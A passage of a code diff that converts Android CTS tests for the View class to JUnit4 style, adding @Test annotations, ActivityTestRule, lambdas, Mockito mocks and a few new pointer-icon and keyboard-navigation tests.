-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
+    private Instrumentation mInstrumentation;
+    private ViewTestCtsActivity mActivity;
+    private Resources mResources;
+    private MockViewParent mMockParent;
+
+    @Rule
+    public ActivityTestRule<ViewTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewTestCtsActivity.class);
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mCtsActivityRule =
+            new ActivityTestRule<>(CtsActivity.class, false, false);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
         mResources = mActivity.getResources();
         mMockParent = new MockViewParent(mActivity);
         assertTrue(mActivity.waitForWindowFocus(5 * DateUtils.SECOND_IN_MILLIS));
     }
 
+    @Test
     public void testConstructor() {
         new View(mActivity);
 
@@ -137,26 +163,28 @@
 
         new View(mActivity, null);
 
-        try {
-            new View(null, attrs);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
-
         new View(mActivity, attrs, 0);
 
         new View(mActivity, null, 1);
+    }
 
-        try {
-            new View(null, null, 1);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        final XmlResourceParser parser = mResources.getLayout(R.layout.view_layout);
+        final AttributeSet attrs = Xml.asAttributeSet(parser);
+        new View(null, attrs);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new View(null, null, 1);
     }
 
     // Test that validates that Views can be constructed on a thread that
     // does not have a Looper. Necessary for async inflation
     private Pair<Class<?>, Throwable> sCtorException = null;
+
+    @Test
     public void testConstructor2() throws Exception {
         final Object[] args = new Object[] { mActivity, null };
         final CountDownLatch latch = new CountDownLatch(1);
@@ -172,7 +200,7 @@
                         constructor.setAccessible(true);
                         constructor.newInstance(args);
                     } catch (Throwable t) {
-                        sCtorException = new Pair<Class<?>, Throwable>(clazz, t);
+                        sCtorException = new Pair<>(clazz, t);
                         break;
                     }
                 }
@@ -186,16 +214,19 @@
         }
     }
 
+    @Test
     public void testGetContext() {
         View view = new View(mActivity);
         assertSame(mActivity, view.getContext());
     }
 
+    @Test
     public void testGetResources() {
         View view = new View(mActivity);
         assertSame(mResources, view.getResources());
     }
 
+    @Test
     public void testGetAnimation() {
         Animation animation = new AlphaAnimation(0.0f, 1.0f);
         View view = new View(mActivity);
@@ -208,6 +239,7 @@
         assertNull(view.getAnimation());
     }
 
+    @Test
     public void testSetAnimation() {
         Animation animation = new AlphaAnimation(0.0f, 1.0f);
         View view = new View(mActivity);
@@ -223,6 +255,7 @@
         assertNull(view.getAnimation());
     }
 
+    @Test
     public void testClearAnimation() {
         Animation animation = new AlphaAnimation(0.0f, 1.0f);
         View view = new View(mActivity);
@@ -237,22 +270,24 @@
         assertNull(view.getAnimation());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testStartAnimationNull() {
+        View view = new View(mActivity);
+        view.startAnimation(null);
+    }
+
+    @Test
     public void testStartAnimation() {
         Animation animation = new AlphaAnimation(0.0f, 1.0f);
         View view = new View(mActivity);
 
-        try {
-            view.startAnimation(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
-
         animation.setStartTime(1L);
         assertEquals(1L, animation.getStartTime());
         view.startAnimation(animation);
         assertEquals(Animation.START_ON_FIRST_FRAME, animation.getStartTime());
     }
 
+    @Test
     public void testOnAnimation() throws Throwable {
         final Animation animation = new AlphaAnimation(0.0f, 1.0f);
         long duration = 2000L;
@@ -260,36 +295,24 @@
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
         // check whether it has started
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.startAnimation(animation);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.startAnimation(animation));
+        mInstrumentation.waitForIdleSync();
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnAnimationStart();
-            }
-        }.run();
+        PollingCheck.waitFor(view::hasCalledOnAnimationStart);
 
         // check whether it has ended after duration, and alpha changed during this time.
-        new PollingCheck(duration + TIMEOUT_DELTA) {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnSetAlpha() && view.hasCalledOnAnimationEnd();
-            }
-        }.run();
+        PollingCheck.waitFor(duration + TIMEOUT_DELTA,
+                () -> view.hasCalledOnSetAlpha() && view.hasCalledOnAnimationEnd());
     }
 
+    @Test
     public void testGetParent() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         ViewGroup parent = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
         assertSame(parent, view.getParent());
     }
 
+    @Test
     public void testAccessScrollIndicators() {
         View view = mActivity.findViewById(R.id.viewlayout_root);
 
@@ -297,6 +320,7 @@
                 view.getScrollIndicators());
     }
 
+    @Test
     public void testSetScrollIndicators() {
         View view = new View(mActivity);
 
@@ -315,6 +339,7 @@
         assertEquals(0, view.getScrollIndicators());
     }
 
+    @Test
     public void testFindViewById() {
         View parent = mActivity.findViewById(R.id.viewlayout_root);
         assertSame(parent, parent.findViewById(R.id.viewlayout_root));
@@ -323,36 +348,33 @@
         assertTrue(view instanceof MockView);
     }
 
+    @Test
     public void testAccessTouchDelegate() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         Rect rect = new Rect();
         final Button button = new Button(mActivity);
         final int WRAP_CONTENT = ViewGroup.LayoutParams.WRAP_CONTENT;
         final int btnHeight = view.getHeight()/3;
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.addContentView(button,
-                        new LinearLayout.LayoutParams(WRAP_CONTENT, btnHeight));
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mActivity.addContentView(button,
+                new LinearLayout.LayoutParams(WRAP_CONTENT, btnHeight)));
+        mInstrumentation.waitForIdleSync();
         button.getHitRect(rect);
-        MockTouchDelegate delegate = new MockTouchDelegate(rect, button);
+        TouchDelegate delegate = spy(new TouchDelegate(rect, button));
 
         assertNull(view.getTouchDelegate());
 
         view.setTouchDelegate(delegate);
         assertSame(delegate, view.getTouchDelegate());
-        assertFalse(delegate.hasCalledOnTouchEvent());
-        TouchUtils.clickView(this, view);
+        verify(delegate, never()).onTouchEvent(any());
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, view);
         assertTrue(view.hasCalledOnTouchEvent());
-        assertTrue(delegate.hasCalledOnTouchEvent());
+        verify(delegate, times(1)).onTouchEvent(any());
 
         view.setTouchDelegate(null);
         assertNull(view.getTouchDelegate());
     }
 
+    @Test
     public void testMouseEventCallsGetPointerIcon() {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
@@ -375,8 +397,8 @@
 
         MotionEvent event = MotionEvent.obtain(0, eventTime, MotionEvent.ACTION_HOVER_MOVE,
                 1, pointerIds, pointerCoords, 0, 0, 0, 0, 0, InputDevice.SOURCE_MOUSE, 0);
-        getInstrumentation().sendPointerSync(event);
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.sendPointerSync(event);
+        mInstrumentation.waitForIdleSync();
 
         assertTrue(view.hasCalledOnResolvePointerIcon());
 
@@ -384,6 +406,7 @@
         assertFalse(view2.hasCalledOnResolvePointerIcon());
     }
 
+    @Test
     public void testAccessPointerIcon() {
         View view = mActivity.findViewById(R.id.pointer_icon_layout);
         MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
@@ -416,6 +439,40 @@
         event.recycle();
     }
 
+    @Test
+    public void testPointerIconOverlap() throws Throwable {
+        View parent = mActivity.findViewById(R.id.pointer_icon_overlap);
+        View child1 = mActivity.findViewById(R.id.pointer_icon_overlap_child1);
+        View child2 = mActivity.findViewById(R.id.pointer_icon_overlap_child2);
+        View child3 = mActivity.findViewById(R.id.pointer_icon_overlap_child3);
+
+        PointerIcon iconParent = PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HAND);
+        PointerIcon iconChild1 = PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HELP);
+        PointerIcon iconChild2 = PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_TEXT);
+        PointerIcon iconChild3 = PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_GRAB);
+
+        parent.setPointerIcon(iconParent);
+        child1.setPointerIcon(iconChild1);
+        child2.setPointerIcon(iconChild2);
+        child3.setPointerIcon(iconChild3);
+
+        MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
+
+        assertEquals(iconChild3, parent.onResolvePointerIcon(event, 0));
+
+        setVisibilityOnUiThread(child3, View.GONE);
+        assertEquals(iconChild2, parent.onResolvePointerIcon(event, 0));
+
+        child2.setPointerIcon(null);
+        assertEquals(iconChild1, parent.onResolvePointerIcon(event, 0));
+
+        setVisibilityOnUiThread(child1, View.GONE);
+        assertEquals(iconParent, parent.onResolvePointerIcon(event, 0));
+
+        event.recycle();
+    }
+
+    @Test
     public void testCreatePointerIcons() {
         assertSystemPointerIcon(PointerIcon.TYPE_NULL);
         assertSystemPointerIcon(PointerIcon.TYPE_DEFAULT);
@@ -451,6 +508,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessTag() {
         ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
         MockView mockView = (MockView) mActivity.findViewById(R.id.mock_view);
@@ -480,18 +538,14 @@
         assertNull(mockView.getTag());
     }
 
+    @Test
     public void testOnSizeChanged() throws Throwable {
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
         final MockView mockView = new MockView(mActivity);
         assertEquals(-1, mockView.getOldWOnSizeChanged());
         assertEquals(-1, mockView.getOldHOnSizeChanged());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                viewGroup.addView(mockView);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> viewGroup.addView(mockView));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.hasCalledOnSizeChanged());
         assertEquals(0, mockView.getOldWOnSizeChanged());
         assertEquals(0, mockView.getOldHOnSizeChanged());
@@ -504,28 +558,23 @@
         int oldw = view.getWidth();
         int oldh = view.getHeight();
         final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnSizeChanged());
         assertEquals(oldw, view.getOldWOnSizeChanged());
         assertEquals(oldh, view.getOldHOnSizeChanged());
     }
 
-    public void testGetHitRect() {
+
+    @Test(expected=NullPointerException.class)
+    public void testGetHitRectNull() {
         MockView view = new MockView(mActivity);
+        view.getHitRect(null);
+    }
+
+    @Test
+    public void testGetHitRect() {
         Rect outRect = new Rect();
-
-        try {
-            view.getHitRect(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
-
         View mockView = mActivity.findViewById(R.id.mock_view);
         mockView.getHitRect(outRect);
         assertEquals(0, outRect.left);
@@ -534,6 +583,7 @@
         assertEquals(mockView.getHeight(), outRect.bottom);
     }
 
+    @Test
     public void testForceLayout() {
         View view = new View(mActivity);
 
@@ -545,6 +595,7 @@
         assertTrue(view.isLayoutRequested());
     }
 
+    @Test
     public void testIsLayoutRequested() {
         View view = new View(mActivity);
 
@@ -556,6 +607,7 @@
         assertFalse(view.isLayoutRequested());
     }
 
+    @Test
     public void testRequestLayout() {
         MockView view = new MockView(mActivity);
         assertFalse(view.isLayoutRequested());
@@ -573,28 +625,26 @@
         assertTrue(mMockParent.hasRequestLayout());
     }
 
+    @Test
     public void testLayout() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         assertTrue(view.hasCalledOnLayout());
 
         view.reset();
         assertFalse(view.hasCalledOnLayout());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.requestLayout();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(view::requestLayout);
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnLayout());
     }
 
+    @Test
     public void testGetBaseline() {
         View view = new View(mActivity);
 
         assertEquals(-1, view.getBaseline());
     }
 
+    @Test
     public void testAccessBackground() {
         View view = new View(mActivity);
         Drawable d1 = mResources.getDrawable(R.drawable.scenery);
@@ -612,6 +662,7 @@
         assertNull(view.getBackground());
     }
 
+    @Test
     public void testSetBackgroundResource() {
         View view = new View(mActivity);
 
@@ -624,6 +675,7 @@
         assertNull(view.getBackground());
     }
 
+    @Test
     public void testAccessDrawingCacheBackgroundColor() {
         View view = new View(mActivity);
 
@@ -636,6 +688,7 @@
         assertEquals(-1, view.getDrawingCacheBackgroundColor());
     }
 
+    @Test
     public void testSetBackgroundColor() {
         View view = new View(mActivity);
         ColorDrawable colorDrawable;
@@ -652,6 +705,7 @@
         assertEquals(0, colorDrawable.getAlpha());
     }
 
+    @Test
     public void testVerifyDrawable() {
         MockView view = new MockView(mActivity);
         Drawable d1 = mResources.getDrawable(R.drawable.scenery);
@@ -666,6 +720,7 @@
         assertFalse(view.verifyDrawable(d2));
     }
 
+    @Test
     public void testGetDrawingRect() {
         MockView view = new MockView(mActivity);
         Rect outRect = new Rect();
@@ -691,6 +746,7 @@
         assertEquals(mockView.getHeight(), outRect.bottom);
     }
 
+    @Test
     public void testGetFocusedRect() {
         MockView view = new MockView(mActivity);
         Rect outRect = new Rect();
@@ -709,6 +765,7 @@
         assertEquals(100, outRect.bottom);
     }
 
+    @Test
     public void testGetGlobalVisibleRectPoint() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
@@ -728,39 +785,24 @@
 
         // width is 0
         final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams1);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.getGlobalVisibleRect(rect, point));
 
         // height is -10
         final LinearLayout.LayoutParams layoutParams2 = new LinearLayout.LayoutParams(200, -10);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams2);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams2));
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.getGlobalVisibleRect(rect, point));
 
-        Display display = getActivity().getWindowManager().getDefaultDisplay();
+        Display display = mActivity.getWindowManager().getDefaultDisplay();
         int halfWidth = display.getWidth() / 2;
         int halfHeight = display.getHeight() /2;
 
         final LinearLayout.LayoutParams layoutParams3 =
                 new LinearLayout.LayoutParams(halfWidth, halfHeight);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams3);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams3));
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.getGlobalVisibleRect(rect, point));
         assertEquals(rcParent.left, rect.left);
         assertEquals(rcParent.top, rect.top);
@@ -770,6 +812,7 @@
         assertEquals(ptParent.y, point.y);
     }
 
+    @Test
     public void testGetGlobalVisibleRect() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
@@ -785,39 +828,24 @@
 
         // width is 0
         final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams1);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.getGlobalVisibleRect(rect));
 
         // height is -10
         final LinearLayout.LayoutParams layoutParams2 = new LinearLayout.LayoutParams(200, -10);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams2);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams2));
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.getGlobalVisibleRect(rect));
 
-        Display display = getActivity().getWindowManager().getDefaultDisplay();
+        Display display = mActivity.getWindowManager().getDefaultDisplay();
         int halfWidth = display.getWidth() / 2;
         int halfHeight = display.getHeight() /2;
 
         final LinearLayout.LayoutParams layoutParams3 =
                 new LinearLayout.LayoutParams(halfWidth, halfHeight);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams3);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams3));
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.getGlobalVisibleRect(rect));
         assertEquals(rcParent.left, rect.left);
         assertEquals(rcParent.top, rect.top);
@@ -825,6 +853,7 @@
         assertEquals(rect.top + halfHeight, rect.bottom);
     }
 
+    @Test
     public void testComputeHorizontalScroll() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
@@ -832,43 +861,29 @@
         assertEquals(view.getWidth(), view.computeHorizontalScrollRange());
         assertEquals(view.getWidth(), view.computeHorizontalScrollExtent());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.scrollTo(12, 0);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.scrollTo(12, 0));
+        mInstrumentation.waitForIdleSync();
         assertEquals(12, view.computeHorizontalScrollOffset());
         assertEquals(view.getWidth(), view.computeHorizontalScrollRange());
         assertEquals(view.getWidth(), view.computeHorizontalScrollExtent());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.scrollBy(12, 0);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.scrollBy(12, 0));
+        mInstrumentation.waitForIdleSync();
         assertEquals(24, view.computeHorizontalScrollOffset());
         assertEquals(view.getWidth(), view.computeHorizontalScrollRange());
         assertEquals(view.getWidth(), view.computeHorizontalScrollExtent());
 
         int newWidth = 200;
         final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(newWidth, 100);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
         assertEquals(24, view.computeHorizontalScrollOffset());
         assertEquals(newWidth, view.getWidth());
         assertEquals(view.getWidth(), view.computeHorizontalScrollRange());
         assertEquals(view.getWidth(), view.computeHorizontalScrollExtent());
     }
 
+    @Test
     public void testComputeVerticalScroll() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
@@ -877,113 +892,95 @@
         assertEquals(view.getHeight(), view.computeVerticalScrollExtent());
 
         final int scrollToY = 34;
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.scrollTo(0, scrollToY);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.scrollTo(0, scrollToY));
+        mInstrumentation.waitForIdleSync();
         assertEquals(scrollToY, view.computeVerticalScrollOffset());
         assertEquals(view.getHeight(), view.computeVerticalScrollRange());
         assertEquals(view.getHeight(), view.computeVerticalScrollExtent());
 
         final int scrollByY = 200;
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.scrollBy(0, scrollByY);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.scrollBy(0, scrollByY));
+        mInstrumentation.waitForIdleSync();
         assertEquals(scrollToY + scrollByY, view.computeVerticalScrollOffset());
         assertEquals(view.getHeight(), view.computeVerticalScrollRange());
         assertEquals(view.getHeight(), view.computeVerticalScrollExtent());
 
         int newHeight = 333;
-        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, newHeight);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        final LinearLayout.LayoutParams layoutParams =
+                new LinearLayout.LayoutParams(200, newHeight);
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
         assertEquals(scrollToY + scrollByY, view.computeVerticalScrollOffset());
         assertEquals(newHeight, view.getHeight());
         assertEquals(view.getHeight(), view.computeVerticalScrollRange());
         assertEquals(view.getHeight(), view.computeVerticalScrollExtent());
     }
 
+    @Test
     public void testGetFadingEdgeStrength() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
-        assertEquals(0f, view.getLeftFadingEdgeStrength());
-        assertEquals(0f, view.getRightFadingEdgeStrength());
-        assertEquals(0f, view.getTopFadingEdgeStrength());
-        assertEquals(0f, view.getBottomFadingEdgeStrength());
+        assertEquals(0f, view.getLeftFadingEdgeStrength(), 0.0f);
+        assertEquals(0f, view.getRightFadingEdgeStrength(), 0.0f);
+        assertEquals(0f, view.getTopFadingEdgeStrength(), 0.0f);
+        assertEquals(0f, view.getBottomFadingEdgeStrength(), 0.0f);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.scrollTo(10, 10);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(1f, view.getLeftFadingEdgeStrength());
-        assertEquals(0f, view.getRightFadingEdgeStrength());
-        assertEquals(1f, view.getTopFadingEdgeStrength());
-        assertEquals(0f, view.getBottomFadingEdgeStrength());
+        mActivityRule.runOnUiThread(() -> view.scrollTo(10, 10));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(1f, view.getLeftFadingEdgeStrength(), 0.0f);
+        assertEquals(0f, view.getRightFadingEdgeStrength(), 0.0f);
+        assertEquals(1f, view.getTopFadingEdgeStrength(), 0.0f);
+        assertEquals(0f, view.getBottomFadingEdgeStrength(), 0.0f);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.scrollTo(-10, -10);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(0f, view.getLeftFadingEdgeStrength());
-        assertEquals(1f, view.getRightFadingEdgeStrength());
-        assertEquals(0f, view.getTopFadingEdgeStrength());
-        assertEquals(1f, view.getBottomFadingEdgeStrength());
+        mActivityRule.runOnUiThread(() -> view.scrollTo(-10, -10));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(0f, view.getLeftFadingEdgeStrength(), 0.0f);
+        assertEquals(1f, view.getRightFadingEdgeStrength(), 0.0f);
+        assertEquals(0f, view.getTopFadingEdgeStrength(), 0.0f);
+        assertEquals(1f, view.getBottomFadingEdgeStrength(), 0.0f);
     }
 
+    @Test
     public void testGetLeftFadingEdgeStrength() {
         MockView view = new MockView(mActivity);
 
-        assertEquals(0.0f, view.getLeftFadingEdgeStrength());
+        assertEquals(0.0f, view.getLeftFadingEdgeStrength(), 0.0f);
 
         view.scrollTo(1, 0);
-        assertEquals(1.0f, view.getLeftFadingEdgeStrength());
+        assertEquals(1.0f, view.getLeftFadingEdgeStrength(), 0.0f);
     }
 
+    @Test
     public void testGetRightFadingEdgeStrength() {
         MockView view = new MockView(mActivity);
 
-        assertEquals(0.0f, view.getRightFadingEdgeStrength());
+        assertEquals(0.0f, view.getRightFadingEdgeStrength(), 0.0f);
 
         view.scrollTo(-1, 0);
-        assertEquals(1.0f, view.getRightFadingEdgeStrength());
+        assertEquals(1.0f, view.getRightFadingEdgeStrength(), 0.0f);
     }
 
+    @Test
     public void testGetBottomFadingEdgeStrength() {
         MockView view = new MockView(mActivity);
 
-        assertEquals(0.0f, view.getBottomFadingEdgeStrength());
+        assertEquals(0.0f, view.getBottomFadingEdgeStrength(), 0.0f);
 
         view.scrollTo(0, -2);
-        assertEquals(1.0f, view.getBottomFadingEdgeStrength());
+        assertEquals(1.0f, view.getBottomFadingEdgeStrength(), 0.0f);
     }
 
+    @Test
     public void testGetTopFadingEdgeStrength() {
         MockView view = new MockView(mActivity);
 
-        assertEquals(0.0f, view.getTopFadingEdgeStrength());
+        assertEquals(0.0f, view.getTopFadingEdgeStrength(), 0.0f);
 
         view.scrollTo(0, 2);
-        assertEquals(1.0f, view.getTopFadingEdgeStrength());
+        assertEquals(1.0f, view.getTopFadingEdgeStrength(), 0.0f);
     }
 
+    @Test
     public void testResolveSize() {
         assertEquals(50, View.resolveSize(50, View.MeasureSpec.UNSPECIFIED));
 
@@ -994,6 +991,7 @@
         assertEquals(20, View.resolveSize(20, 30 | View.MeasureSpec.AT_MOST));
     }
 
+    @Test
     public void testGetDefaultSize() {
         assertEquals(50, View.getDefaultSize(50, View.MeasureSpec.UNSPECIFIED));
 
@@ -1004,6 +1002,7 @@
         assertEquals(30, View.getDefaultSize(20, 30 | View.MeasureSpec.AT_MOST));
     }
 
+    @Test
     public void testAccessId() {
         View view = new View(mActivity);
 
@@ -1016,6 +1015,7 @@
         assertEquals(0xFFFFFFFF, view.getId());
     }
 
+    @Test
     public void testAccessLongClickable() {
         View view = new View(mActivity);
 
@@ -1028,6 +1028,7 @@
         assertFalse(view.isLongClickable());
     }
 
+    @Test
     public void testAccessClickable() {
         View view = new View(mActivity);
 
@@ -1040,6 +1041,7 @@
         assertFalse(view.isClickable());
     }
 
+    @Test
     public void testAccessContextClickable() {
         View view = new View(mActivity);
 
@@ -1052,12 +1054,14 @@
         assertFalse(view.isContextClickable());
     }
 
+    @Test
     public void testGetContextMenuInfo() {
         MockView view = new MockView(mActivity);
 
         assertNull(view.getContextMenuInfo());
     }
 
+    @Test
     public void testSetOnCreateContextMenuListener() {
         View view = new View(mActivity);
         assertFalse(view.isLongClickable());
@@ -1065,32 +1069,35 @@
         view.setOnCreateContextMenuListener(null);
         assertTrue(view.isLongClickable());
 
-        view.setOnCreateContextMenuListener(new OnCreateContextMenuListenerImpl());
+        view.setOnCreateContextMenuListener(mock(View.OnCreateContextMenuListener.class));
         assertTrue(view.isLongClickable());
     }
 
+    @Test
     public void testCreateContextMenu() {
-        OnCreateContextMenuListenerImpl listener = new OnCreateContextMenuListenerImpl();
+        View.OnCreateContextMenuListener listener = mock(View.OnCreateContextMenuListener.class);
         MockView view = new MockView(mActivity);
         ContextMenu contextMenu = new ContextMenuBuilder(mActivity);
         view.setParent(mMockParent);
         view.setOnCreateContextMenuListener(listener);
         assertFalse(view.hasCalledOnCreateContextMenu());
         assertFalse(mMockParent.hasCreateContextMenu());
-        assertFalse(listener.hasOnCreateContextMenu());
+        verifyZeroInteractions(listener);
 
         view.createContextMenu(contextMenu);
         assertTrue(view.hasCalledOnCreateContextMenu());
         assertTrue(mMockParent.hasCreateContextMenu());
-        assertTrue(listener.hasOnCreateContextMenu());
-
-        try {
-            view.createContextMenu(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        verify(listener, times(1)).onCreateContextMenu(
+                eq(contextMenu), eq(view), any());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testCreateContextMenuNull() {
+        MockView view = new MockView(mActivity);
+        view.createContextMenu(null);
+    }
+
+    @Test
     public void testAddFocusables() {
         View view = new View(mActivity);
         ArrayList<View> viewList = new ArrayList<>();
@@ -1111,6 +1118,7 @@
         view.addFocusables(null, 0);
     }
 
+    @Test
     public void testGetFocusables() {
         View view = new View(mActivity);
         ArrayList<View> viewList;
@@ -1131,12 +1139,14 @@
         assertEquals(view, viewList.get(0));
     }
 
+    @Test
     public void testAddFocusablesWithoutTouchMode() {
         View view = new View(mActivity);
         assertFalse("test sanity", view.isInTouchMode());
         focusableInTouchModeTest(view, false);
     }
 
+    @Test
     public void testAddFocusablesInTouchMode() {
         View view = spy(new View(mActivity));
         when(view.isInTouchMode()).thenReturn(true);
@@ -1144,7 +1154,7 @@
     }
 
     private void focusableInTouchModeTest(View view, boolean inTouchMode) {
-        ArrayList<View> views = new ArrayList<View>();
+        ArrayList<View> views = new ArrayList<>();
 
         view.setFocusableInTouchMode(false);
         view.setFocusable(true);
@@ -1156,7 +1166,6 @@
             assertEquals(Collections.singletonList(view), views);
         }
 
-
         views.clear();
         view.addFocusables(views, View.FOCUS_FORWARD, View.FOCUSABLES_ALL);
         assertEquals(Collections.singletonList(view), views);
@@ -1194,6 +1203,58 @@
         assertEquals(Collections.emptyList(), views);
     }
 
+    @Test
+    public void testAddKeyboardNavigationClusters() {
+        View view = new View(mActivity);
+        ArrayList<View> viewList = new ArrayList<>();
+
+        // View is not a keyboard navigation cluster
+        assertFalse(view.isKeyboardNavigationCluster());
+        view.addKeyboardNavigationClusters(viewList, 0);
+        assertEquals(0, viewList.size());
+
